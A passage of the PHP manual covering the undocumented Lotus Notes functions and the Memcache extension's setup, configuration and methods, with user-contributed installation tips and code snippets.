Create a Lotus Notes database

notes_copy_db
notes_create_note
Lotus Notes Functions
PHP Manual

notes_create_db

(PHP 4 >= 4.0.5)

notes_create_db — Create a Lotus Notes database

Description

bool notes_create_db ( string $database_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_copy_db
notes_create_note
Lotus Notes Functions


Create a note using form form_name

notes_create_db
notes_drop_db
Lotus Notes Functions
PHP Manual

notes_create_note

(PHP 4 >= 4.0.5)

notes_create_note — Create a note using form form_name

Description

bool notes_create_note ( string $database_name , string $form_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_create_db
notes_drop_db
Lotus Notes Functions


Drop a Lotus Notes database

notes_create_note
notes_find_note
Lotus Notes Functions
PHP Manual

notes_drop_db

(PHP 4 >= 4.0.5)

notes_drop_db — Drop a Lotus Notes database

Description

bool notes_drop_db ( string $database_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_create_note
notes_find_note
Lotus Notes Functions


Returns a note id found in database_name

notes_drop_db
notes_header_info
Lotus Notes Functions
PHP Manual

notes_find_note

(PHP 4 >= 4.0.5)

notes_find_note — Returns a note id found in database_name

Description

int notes_find_note ( string $database_name , string $name [, string $type ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_drop_db
notes_header_info
Lotus Notes Functions


Open the message msg_number in the specified mailbox on the specified server (leave serv

notes_find_note
notes_list_msgs
Lotus Notes Functions
PHP Manual

notes_header_info

(PHP 4 >= 4.0.5)

notes_header_info — Open the message msg_number in the specified mailbox on the specified server (leave serv

Description

object notes_header_info ( string $server , string $mailbox , int $msg_number )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_find_note
notes_list_msgs
Lotus Notes Functions


Returns the notes from a selected database_name

notes_header_info
notes_mark_read
Lotus Notes Functions
PHP Manual

notes_list_msgs

(PHP 4 >= 4.0.5)

notes_list_msgs — Returns the notes from a selected database_name

Description

bool notes_list_msgs ( string $db )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_header_info
notes_mark_read
Lotus Notes Functions


Mark a note_id as read for the User user_name

notes_list_msgs
notes_mark_unread
Lotus Notes Functions
PHP Manual

notes_mark_read

(PHP 4 >= 4.0.5)

notes_mark_read — Mark a note_id as read for the User user_name

Description

bool notes_mark_read ( string $database_name , string $user_name , string $note_id )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_list_msgs
notes_mark_unread
Lotus Notes Functions


Mark a note_id as unread for the User user_name

notes_mark_read
notes_nav_create
Lotus Notes Functions
PHP Manual

notes_mark_unread

(PHP 4 >= 4.0.5)

notes_mark_unread — Mark a note_id as unread for the User user_name

Description

bool notes_mark_unread ( string $database_name , string $user_name , string $note_id )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_mark_read
notes_nav_create
Lotus Notes Functions


Create a navigator name, in database_name

notes_mark_unread
notes_search
Lotus Notes Functions
PHP Manual

notes_nav_create

(PHP 4 >= 4.0.5)

notes_nav_create — Create a navigator name, in database_name

Description

bool notes_nav_create ( string $database_name , string $name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_mark_unread
notes_search
Lotus Notes Functions


Find notes that match keywords in database_name

notes_nav_create
notes_unread
Lotus Notes Functions
PHP Manual

notes_search

(PHP 4 >= 4.0.5)

notes_search — Find notes that match keywords in database_name

Description

array notes_search ( string $database_name , string $keywords )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_nav_create
notes_unread
Lotus Notes Functions


Returns the unread note id's for the current User user_name

notes_search
notes_version
Lotus Notes Functions
PHP Manual

notes_unread

(PHP 4 >= 4.0.5)

notes_unread — Returns the unread note id's for the current User user_name

Description

array notes_unread ( string $database_name , string $user_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_search
notes_version
Lotus Notes Functions


Get the version Lotus Notes

notes_unread
Memcache
Lotus Notes Functions
PHP Manual

notes_version

(PHP 4 >= 4.0.5)

notes_version — Get the version Lotus Notes

Description

float notes_version ( string $database_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_unread
Memcache
Lotus Notes Functions


Memcache

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Memcache — The Memcache class
    • Memcache::add — Add an item to the server
    • Memcache::addServer — Add a memcached server to connection pool
    • Memcache::close — Close memcached server connection
    • Memcache::connect — Open memcached server connection
    • Memcache::decrement — Decrement item's value
    • Memcache::delete — Delete item from the server
    • Memcache::flush — Flush all existing items at the server
    • Memcache::get — Retrieve item from the server
    • Memcache::getExtendedStats — Get statistics from all servers in pool
    • Memcache::getServerStatus — Returns server status
    • Memcache::getStats — Get statistics of the server
    • Memcache::getVersion — Return version of the server
    • Memcache::increment — Increment item's value
    • Memcache::pconnect — Open memcached server persistent connection
    • Memcache::replace — Replace value of the existing item
    • Memcache::set — Store data at the server
    • Memcache::setCompressThreshold — Enable automatic compression of large values
    • Memcache::setServerParams — Changes server parameters and status at runtime
  • Memcache Functions
    • memcache_debug — Turn debug output on/off

User Contributed Notes

Anonymous 16-Feb-2011 03:14
The memcache changelog for 3.0.5 has the comment:
"Added method MemcachePool::findServer(key) which returns the server a key hashes to"
notes_version
Introduction
Other Services


Introduction

Memcache module provides handy procedural and object oriented interface to memcached, highly effective caching daemon, which was especially designed to decrease database load in dynamic web applications.

The Memcache module also provides a session handler (memcache).

More information about memcached can be found at » http://www.memcached.org/.

User Contributed Notes

There are no user contributed notes for this page.
Memcache
Installing/Configuring
Memcache


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Memcache


Requirements

This module uses functions of » zlib to support on-the-fly data compression. Zlib is required to install this module.

PHP 4.3.3 or newer is required to use the memcache extension.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/memcache.

Note:

It's possible to disable memcache session handler support. The 'pecl install' option prompts for this (default is enabled) however when compiling statically into PHP the --disable-memcache-session configure option may be used.

User Contributed Notes

andryzeus at ukr dot net 06-Jan-2012 02:10
If you have error with libtool version after make - way to install:
phpize --clean && phpize
rm aclocal.m4
aclocal
autoconf
./configure
make
make install
[memcache-2.2.6, gentoo.x86-64]
Felipe Estrella Barros 16-Oct-2011 03:54
On Slackware, after copilling it, you should copy the file /module/memcache.so to /usr/lib/httpd/modules. Then, the instruction extension=memcache.so must be added into the file /etc/httpd/php.ini

Restart the httpd and it should work!
pesdguy at yahoo dot co dot in 10-May-2010 02:46
For xampp if you need to install memcache

use this place for all version
:
http://downloads.php.net/pierre/
mit at mitayai dot org 19-Apr-2010 12:47
It is very important to note when reading the information supplied by others on this page that there are two *distinct* memcache PHP implementations for the service "memcached".

1) pecl-memcache
2) pecl-memcached

This page is for the first, pecl-memcache.

If you are looking for pecl-memcached information, visit here:

http://www.php.net/manual/en/book.memcached.php
no at spam4me dot com 11-Dec-2009 03:48
#if apt-get, rpm, or yum doesn't work
cd /usr/src/
wget http://pecl.php.net/get/memcache-2.2.4.tgz
tar -zxvf memcached-2.2.4.tgz
cd memcached-2.2.4
phpize && ./configure --enable-memcache && make
cp modules/memcache.so /usr/lib/php/modules/

# Note: packaged extension modules are now loaded via the .ini files
# found in the directory /etc/php.d
touch /etc/php.d/memcached.ini
echo 'extension=memcache.so' > /etc/php.d/memcached.ini

service httpd restart
djfobbz at gmail dot com 16-Sep-2008 09:11
Installing PHP5 Memcache Extension Module on Ubuntu (note: you must have memcached installed prior to installing this extension module.  refer to prerequisite install below):

-------------------------
# Prerequisite Install
-------------------------
# Download & install libevent (memcached dependency)
wget http://www.monkey.org/~provos/libevent-1.4.8-stable.tar.gz
tar xfz libevent-1.4.8-stable.tar.gz
cd libevent-1.4.8-stable
./configure && make && sudo make install

# Create a symlink to libevent
sudo ln -s /usr/local/lib/libevent-1.4.so.2 /usr/lib

# Download & install memcached
wget http://danga.com/memcached/dist/memcached-1.2.6.tar.gz
tar xfz memcached-1.2.6.tar.gz
cd memcached-1.2.6
./configure && make && sudo make install

# Run memcached as a daemon (d = daemon, m = memory, u = user, l = IP to listen to, p = port)
memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211

-------------------------
# PHP5-Memcache Install
-------------------------
# Download the extension module
apt-get install php5-memcache

# Edit /etc/php5/conf.d/memcache.ini and uncomment the following line by removing the semi-colon
extension=memcache.so

# Restart apache
/etc/init.d/apache2 restart

-------------------------
# Test Install
-------------------------
# Create a file 'memcache_test.php' in your webroot and paste the following:
<?php
$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");

$version = $memcache->getVersion();
echo "Server's version: ".$version."<br/>\n";

$tmp_object = new stdClass;
$tmp_object->str_attr = 'test';
$tmp_object->int_attr = 123;

$memcache->set('key', $tmp_object, false, 10) or die ("Failed to save data at the server");
echo "Store data in the cache (data will expire in 10 seconds)<br/>\n";

$get_result = $memcache->get('key');
echo "Data from the cache:<br/>\n";

var_dump($get_result);
?>

# Test to see if the file renders in your browser

Cheers!
mykel dot alvis at gmail dot com 18-Jun-2008 08:01
on Fedora, apparently

yum install php-pecl-memcache
Wayne 01-May-2008 12:09
Newer PHP versions don't have a --enable-memcache options; simply installing the PECL package will be enough... so to be absolutely clear, you WON'T have to recompile PHP to use memcache.  That paragraph above seems like a bad case of earlier version documentation editing.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Memcache Configuration Options
Name | Default | Changeable | Changelog
memcache.allow_failover | "1" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.max_failover_attempts | "20" | PHP_INI_ALL | Available since memcache 2.1.0.
memcache.chunk_size | "8192" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.default_port | "11211" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.hash_strategy | "standard" | PHP_INI_ALL | Available since memcache 2.2.0.
memcache.hash_function | "crc32" | PHP_INI_ALL | Available since memcache 2.2.0.
session.save_handler | "files" | PHP_INI_ALL | Supported since memcache 2.1.2
session.save_path | "" | PHP_INI_ALL | Supported since memcache 2.1.2
memcache.protocol | ascii | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.redundancy | 1 | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.session_redundancy | 2 | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.compress_threshold | 20000 | >PHP_INI_ALL | Supported since memcache 3.0.3
memcache.lock_timeout | 15 | >PHP_INI_ALL | Supported since memcache 3.0.4
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

memcache.allow_failover boolean

Whether to transparently failover to other servers on errors.

memcache.max_failover_attempts integer

Defines how many servers to try when setting and getting data. Used only in conjunction with memcache.allow_failover.

memcache.chunk_size integer

Data will be transferred in chunks of this size, setting the value lower requires more network writes. Try increasing this value to 32768 if noticing otherwise inexplicable slowdowns.

memcache.default_port string

The default TCP port number to use when connecting to the memcached server if no other port is specified.

memcache.hash_strategy string

Controls which strategy to use when mapping keys to servers. Set this value to consistent to enable consistent hashing which allows servers to be added or removed from the pool without causing keys to be remapped. Setting this value to standard results in the old strategy being used.

memcache.hash_function string

Controls which hash function to apply when mapping keys to servers, crc32 uses the standard CRC32 hash while fnv uses FNV-1a.

session.save_handler string

Use memcache as a session handler by setting this value to memcache.

session.save_path string

Defines a comma separated of server urls to use for session storage, for example "tcp://host1:11211, tcp://host2:11211".

Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. For example "tcp://host1:11211?persistent=1&weight=1&timeout=1&retry_interval=15"

memcache.protocol string

memcache.redundancy integer

memcache.session_redundancy integer

memcache.compress_threshold integer

memcache.lock_timeout integer

User Contributed Notes

info at phpgangsta dot de 14-Jan-2011 08:34
Since 3.0.0 there are new defaults:

memcache.hash_strategy = consistent
memcache.chunk_size = 32768
kross at escapistmag dot com 22-Mar-2010 09:06
There's a currently undocumented variable that is now available (you can see it in php_info()) for session handling:

memcache.session_redundancy

The default seems to be "2", and it is supposed to influence how many copies of a particular session object that Memcache will store for failover purposes (so with a redundancy of 2, it will store a session on 2 different shards).

This will add slight overhead with extra writes, but overall seems worth it for purposes of failover.
ruben [AT] ruben dot cn 23-Oct-2008 06:05
Please note that when you specify more than one memcached server, you don't get the session data copied to every memcached server. Info is only copied to the first one. If the 1st server is down, it goes for the second (but the second will lack the info stored into the 1st one)
Installation
Resource Types
Installing/Configuring


Resource Types

There is only one resource type used in memcache module - it's the link identifier for a cache server connection.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

Memcache Constants
Name | Description
MEMCACHE_COMPRESSED (integer) | Used to turn on-the-fly data compression on with Memcache::set(), Memcache::add() and Memcache::replace().
MEMCACHE_HAVE_SESSION (integer) | 1 if this Memcache session handler is available, 0 otherwise.

User Contributed Notes

Joan 20-Jan-2010 07:55
MEMCACHE_COMPRESSED=2
Using value of 1 produces serialization errors when retrieving values.
Resource Types
Examples
Memcache


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Memcache


Basic usage

Example #1 memcache extension overview example

In this example, an object is being saved in the cache and then retrieved back. Object and other non-scalar types are serialized before saving, so it's impossible to store resources (i.e. connection identifiers and others) in the cache.

<?php

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");

$version = $memcache->getVersion();
echo "Server's version: ".$version."<br/>\n";

$tmp_object = new stdClass;
$tmp_object->str_attr = 'test';
$tmp_object->int_attr = 123;

$memcache->set('key', $tmp_object, false, 10) or die ("Failed to save data at the server");
echo "Store data in the cache (data will expire in 10 seconds)<br/>\n";

$get_result = $memcache->get('key');
echo "Data from the cache:<br/>\n";

var_dump($get_result);

?>

Example #2 Using memcache session handler

<?php

$session_save_path = "tcp://$host:$port?persistent=1&weight=2&timeout=2&retry_interval=10,  ,tcp://$host:$port  ";
ini_set('session.save_handler', 'memcache');
ini_set('session.save_path', $session_save_path);

?>

User Contributed Notes

dkreuter at gmail dot com 01-Jun-2009 11:45
If the example doesn't work try to change "localhost" to "127.0.0.1".
Examples
Memcache
Examples


The Memcache class

(No version information available, might only be in SVN)

Introduction

Represents a connection to a set of memcache servers.

Class synopsis

Memcache {
bool add ( string $key , mixed $var [, int $flag [, int $expire ]] )
bool addServer ( string $host [, int $port = 11211 [, bool $persistent [, int $weight [, int $timeout [, int $retry_interval [, bool $status [, callback $failure_callback [, int $timeoutms ]]]]]]]] )
bool close ( void )
bool connect ( string $host [, int $port [, int $timeout ]] )
int decrement ( string $key [, int $value = 1 ] )
bool delete ( string $key [, int $timeout = 0 ] )
bool flush ( void )
string get ( string $key [, int &$flags ] )
array getExtendedStats ([ string $type [, int $slabid [, int $limit = 100 ]]] )
int getServerStatus ( string $host [, int $port = 11211 ] )
array getStats ([ string $type [, int $slabid [, int $limit = 100 ]]] )
string getVersion ( void )
int increment ( string $key [, int $value = 1 ] )
mixed pconnect ( string $host [, int $port [, int $timeout ]] )
bool replace ( string $key , mixed $var [, int $flag [, int $expire ]] )
bool set ( string $key , mixed $var [, int $flag [, int $expire ]] )
bool setCompressThreshold ( int $threshold [, float $min_savings ] )
bool setServerParams ( string $host [, int $port = 11211 [, int $timeout [, int $retry_interval = false [, bool $status [, callback $failure_callback ]]]]] )
}

Table of Contents

  • Memcache::add — Add an item to the server
  • Memcache::addServer — Add a memcached server to connection pool
  • Memcache::close — Close memcached server connection
  • Memcache::connect — Open memcached server connection
  • Memcache::decrement — Decrement item's value
  • Memcache::delete — Delete item from the server
  • Memcache::flush — Flush all existing items at the server
  • Memcache::get — Retrieve item from the server
  • Memcache::getExtendedStats — Get statistics from all servers in pool
  • Memcache::getServerStatus — Returns server status
  • Memcache::getStats — Get statistics of the server
  • Memcache::getVersion — Return version of the server
  • Memcache::increment — Increment item's value
  • Memcache::pconnect — Open memcached server persistent connection
  • Memcache::replace — Replace value of the existing item
  • Memcache::set — Store data at the server
  • Memcache::setCompressThreshold — Enable automatic compression of large values
  • Memcache::setServerParams — Changes server parameters and status at runtime

User Contributed Notes

There are no user contributed notes for this page.
Basic usage
Memcache::add
Memcache


Add an item to the server

Memcache
Memcache::addServer
Memcache
PHP Manual

Memcache::add

(PECL memcache >= 0.2.0)

Memcache::add — Add an item to the server

Description

bool Memcache::add ( string $key , mixed $var [, int $flag [, int $expire ]] )

Memcache::add() stores variable var with key only if such key doesn't exist at the server yet. Also you can use memcache_add() function.

Parameters

key

The key that will be associated with the item.

var

The variable to store. Strings and integers are stored as is, other types are stored serialized.

flag

Use MEMCACHE_COMPRESSED to store the item compressed (uses zlib).

expire

Expiration time of the item. If it's equal to zero, the item will never expire. You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days).

Return Values

Returns TRUE on success or FALSE on failure. Returns FALSE if such key already exist. For the rest Memcache::add() behaves similarly to Memcache::set().

Examples

Example #1 Memcache::add() example

<?php

$memcache_obj = memcache_connect("localhost", 11211);

/* procedural API */
memcache_add($memcache_obj, 'var_key', 'test variable', false, 30);

/* OO API */
$memcache_obj->add('var_key', 'test variable', false, 30);

?>

See Also

  • Memcache::set() - Store data at the server
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

duerra at nospam dot yahoo dot com 17-Nov-2010 04:06
If you're interested in using compression, please note that, at least for PHP version 5.3.2 and Memcache version 3.0.4, when retrieving a key who's value is a numeric or boolean type, PHP throws a notice of the following:

Message: MemcachePool::get(): Failed to uncompress data

The way around this is to test your variable type before setting or adding it to Memcache, or even cast it as a string.

<?php
$key = 'mc_key';
$value = 12345;
$compress = is_bool($value) || is_int($value) || is_float($value) ? false : MEMCACHE_COMPRESSED;

$mc= new Memcache;
$mc->connect('localhost', 11211);
$mc->add($key, $value, $compress);

echo $mc->get($key);

//Alternative is to cast the variable
$value = is_scalar($value) ? (string)$value : $value;
$mc->add($key, $value, MEMCACHE_COMPRESSED);
?>
Davide Renzi 18-Feb-2010 01:16
Race conditions happen on an heavy load server when more than one thread tries to execute memcache_add.
For example if thread A and thread B try to save the same key you can test that sometimes both return TRUE.
To have the right behaviour you can verify that the correct value is in the assigned key:

<?php
function memcache_safeadd(&$memcache_obj, $key, $value, $flag, $expire)
{
    if (memcache_add($memcache_obj, $key, $value, $flag, $expire))
    {
        return ($value == memcache_get($memcache_obj, $key));
    }
    return FALSE;
}
?>
matt 03-Aug-2009 06:39
It's also good to note that add will succeed if the key exists but is expired
ktamas77 at gmail dot com 27-Apr-2009 04:08
skeleton of a thread safe updater for an incremental counter:

<?php

$key = "counter";
$value = $memcache->increment($key, 1);
if ($value === false) {
   // --- read from DB ---
   $query = "SELECT value FROM database";
   $result = mysql_query($query);
   $row = mysql_fetch_assoc($result);
   $db_value = $row["value"];
   $add_value = $memcache->add($key, $db_value + 1, 0, 0);
   if ($add_value === false) {
      $value = $memcache->increment($key, 1)
      if ($value === false) {
          error_log ("counter update failed.");
      }
   } else {
      $value = $db_value + 1;
   }
}

// --- display counter value ---
echo $value;

?>
rune(at)intermedia(dot)no 06-Oct-2008 11:04
Key may not exceed 250 chars according to memcached protocol.
php at tapirpirates dot net 03-Apr-2008 08:32
memcache has no locking mechanism, but you could implement it manually.

basic locking through the add method:

<?php
// locks time out after 5 seconds
Define( 'LOCK_TIMEOUT', 5 );

$lock = $memcache->add( 'lock:' . $key, 1, false, LOCK_TIMEOUT );
if ( $lock ) {
  // no lock on this key, so do what you want
  $value = $memcache->get( $key );
  $memcache->set( $key, $value+1 );
  // release lock
  $memcache->delete( 'lock:' . $key );
}
else {
  // variable is currently locked, so do something else
}
?>

furthermore, you could implement a loop which checks if there is a lock, and if there is, wait some time and try again, until the lock is free.

remember: locking will heavily increase your memcache hits and obviously is not what memcache is made for. altough it's not possible for a lock to be forgotten (there's a timeout after all) there is the possibility to get locked out for a very long time.

an alternative may be to implement locking through apc_add (or shared memory), but i've never tried it.

if you absolutley have to implement locks, memcached is probably the wrong solution anyway.
roberto at spadim,com dot br 17-Jun-2007 10:13
[c.2007]
if you read source code for MMC_SERIALIZED you will see at line ~1555 that [a line ~1560]
!(is_string,is_long,is_double,is_bool)

[is] serialized and that serialized values are flaged as MMC_SERIALIZED for return (fetch) code unserialize these values again
Memcache
Memcache::addServer
Memcache


Add a memcached server to connection pool

Memcache::add
Memcache::close
Memcache
PHP Manual

Memcache::addServer

(PECL memcache >= 2.0.0)

Memcache::addServer — Add a memcached server to connection pool

Description

bool Memcache::addServer ( string $host [, int $port = 11211 [, bool $persistent [, int $weight [, int $timeout [, int $retry_interval [, bool $status [, callback $failure_callback [, int $timeoutms ]]]]]]]] )

Memcache::addServer() adds a server to the connection pool. The connection, which was opened using Memcache::addServer() will be automatically closed at the end of script execution, you can also close it manually with Memcache::close(). You can also use the memcache_add_server() function.

When using this method (as opposed to Memcache::connect() and Memcache::pconnect()) the network connection is not established until actually needed. Thus there is no overhead in adding a large number of servers to the pool, even though they might not all be used.

Failover may occur at any stage in any of the methods, as long as other servers are available the request the user won't notice. Any kind of socket or Memcached server level errors (except out-of-memory) may trigger the failover. Normal client errors such as adding an existing key will not trigger a failover.

Note:

This function has been added to Memcache version 2.0.0.

Parameters

host

Point to the host where memcached is listening for connections. This parameter may also specify other transports like unix:///path/to/memcached.sock to use UNIX domain sockets, in this case port must also be set to 0.

port

Point to the port where memcached is listening for connections. Set this parameter to 0 when using UNIX domain sockets.

persistent

Controls the use of a persistent connection. Default to TRUE.

weight

Number of buckets to create for this server which in turn control its probability of it being selected. The probability is relative to the total weight of all servers.

timeout

Value in seconds which will be used for connecting to the daemon. Think twice before changing the default value of 1 second - you can lose all the advantages of caching if your connection is too slow.

retry_interval

Controls how often a failed server will be retried, the default value is 15 seconds. Setting this parameter to -1 disables automatic retry. Neither this nor the persistent parameter has any effect when the extension is loaded dynamically via dl().

Each failed connection struct has its own timeout and before it has expired the struct will be skipped when selecting backends to serve a request. Once expired the connection will be successfully reconnected or marked as failed for another retry_interval seconds. The typical effect is that each web server child will retry the connection about every retry_interval seconds when serving a page.

status

Controls if the server should be flagged as online. Setting this parameter to FALSE and retry_interval to -1 allows a failed server to be kept in the pool so as not to affect the key distribution algorithm. Requests for this server will then failover or fail immediately depending on the memcache.allow_failover setting. Default to TRUE, meaning the server should be considered online.

failure_callback

Allows the user to specify a callback function to run upon encountering an error. The callback is run before failover is attempted. The function takes two parameters, the hostname and port of the failed server.

timeoutms

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::addServer() example

<?php

/* OO API */

$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
$memcache->addServer('memcache_host2', 11211);

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_add_server($memcache_obj, 'memcache_host2', 11211);

?>

See Also

  • Memcache::connect() - Open memcached server connection
  • Memcache::pconnect() - Open memcached server persistent connection
  • Memcache::close() - Close memcached server connection
  • Memcache::setServerParams() - Changes server parameters and status at runtime
  • Memcache::getServerStatus() - Returns server status

User Contributed Notes

enno dot rehling at gmail dot com 09-Sep-2011 04:11
The $timeoutms argument can be used to specify the timeout in milliseconds, but isn't available in all versions. For example, it exists in php_memcache 2.2.6, but not in 3.0.4. In 2.2.6, if you specify it, then it overrides $timeout.

Caveat emptor: If $timeoutms is not specified, it defaults to the value of memcache.default_timeout_ms in php.ini, which defaults to 1000 if not set. This also overrides $timeout, which has the curious effect that $timeout is always ignored in php_memcache 2.2.6 (either in favor of $timeoutms, memcache.default_timeout_ms or the value 1000, in that order of priority).
jwatte at imvu dot com 08-Sep-2011 12:02
There are three additional undocumented arguments to the failure callback function. The total list of failure callback arguments is:
- host
- tcp port
- udp port
- error number
- error message

We tried to file this as a bug against the documentation, but the bug report was closed because no patch was included. Please consider this note the "patch" against documentation, because we already wasted too much time on this, and it's better that people know than that people don't know.
fredrik at neam dot se 27-Jul-2011 07:14
If you are stuck with version 1.0.x (as shipped in Ubuntu 10.04 LTS for instance), this is a simple way of providing failover support from a single main server to a single failover server:

<?php
$m = new Memcached();
$m->addServer(MEMBASE_HOST, MEMBASE_PORT);

// Immediately check server connection
$m->get('onlinecheck_' . uniqid());

if (in_array($m->getResultCode(), array(Memcached::RES_ERRNO, Memcached::RES_UNKNOWN_READ_FAILURE)))
{
    // Main server not available - Failing over
    $m = new Memcached();
    $m->addServer(MEMBASE_FAILOVER_HOST, MEMBASE_FAILOVER_PORT);
}
rstaveley at seseit dot com 17-Jun-2011 04:06
The Memcache client library is responsible for picking the right server to set/get data. That's why addServer is what you want to use rather than connect, when you have more than one Memcache server. A subsequent set/get will then connect on demand to the appropriate instance as needs be. Disconnection to whatever servers were connected to happening when you close or your script terminates.

Memcache instances added to your Memcache object via addServer should be added in the same order in your application to ensure that the same server is picked for use with the same key.

A client library may be implemented to run a CRC on the key and do a modulus over the number of instances in the list to select an instance from the list for the set/get. This ensures that data is spread nicely across the nodes.

That all works nicely behind the scenes for you in your PHP code, as long as you add your list of Memcache instances in a consistent manner with addServer.
eu at serbannistor dot ro 04-May-2011 06:30
Actually if you have two memcached servers from which one of them is on localhost, and the other is on a remote machine you can communicate with both even if you specify the loopback address for the local one.

<?php
$memcache_obj = memcache_connect("127.0.0.1", 11211);
memcache_add_server($memcache_obj, "memcache_remote_host");
$memcache_obj->set('var_key', time());
?>

This WILL communicate with both hosts but however there are two aspects that must be taken into account:
1. the communication will be done through different network interfaces with the two hosts. It will use the loopback interface for the "127.0.0.1" host (lo in my case on Linux) and the external interface for the "memcache_remote_host" (eth0 in my case). Only if you want to use the same network interface to communicate with both hosts you must use the external IPs of both machines (and all communication will go out through the eth0 interface).
2. the connection with the two hosts will be established differently because of how memcache_connect() and memcache_add_server() work. Therefore the memcache_connect() will initiate the connection to localhost through the loopback interface when it is called, while memcache_add_server() will just add the second server to the pool, but it will not send any package through the network until it's absolutely needed (for example when a memcache_set() command is issued).
anthony at iclasspro dot com 01-Dec-2010 03:40
An important thing to note about this is that if you have 2 memcache servers and one of those servers is your localhost that you will want to specify the external IP addresses of both of those.

<?php
$m = memcache_connect('127.0.0.1', 11211);
memcache_add_server($m, '10.5.50.20');
?>
This will NEVER talk to 10.5.50.20.

So what you need to do is to specify the external IP address of all your servers:
<?php
$m = memcache_connect('10.5.50.10', 11211);
memcache_add_server($m, '10.5.50.20');
?>

For some reason when the PHP memcache module does a connection to localhost it assumes that this is the ONLY memcache server and does not attempt to use others.
iwind dot liu at gmail dot com 08-Feb-2010 12:14
The weight of the server must be greater than 0.

If there is no memcached server to use, and you try to set/add variables, the apache will be crashed, with the error message "[notice] child pid 18725 exit signal Segmentation fault (11)" in error_log file.
rich at drivecurrent dot com 22-Aug-2008 03:12
The "version" mentioned for this function is the PECL module. To see the PECL version do phpinfo() and look at Memcache section. To see memcached (server) version: Memcache::getVersion(). You can also telnet into memcached server (eg: localhost:11211) and type 'stats' and hit enter.
Jean-Baptiste Quenot 05-May-2008 01:08
The default value for the "weight" argument is 1
Memcache::add
Memcache::close
Memcache


Close memcached server connection

Memcache::addServer
Memcache::connect
Memcache
PHP Manual

Memcache::close

(PECL memcache >= 0.4.0)

Memcache::close — Close memcached server connection

Description

bool Memcache::close ( void )

Memcache::close() closes connection to memcached server. This function doesn't close persistent connections, which are closed only during web-server shutdown/restart. Also you can use memcache_close() function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::close() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
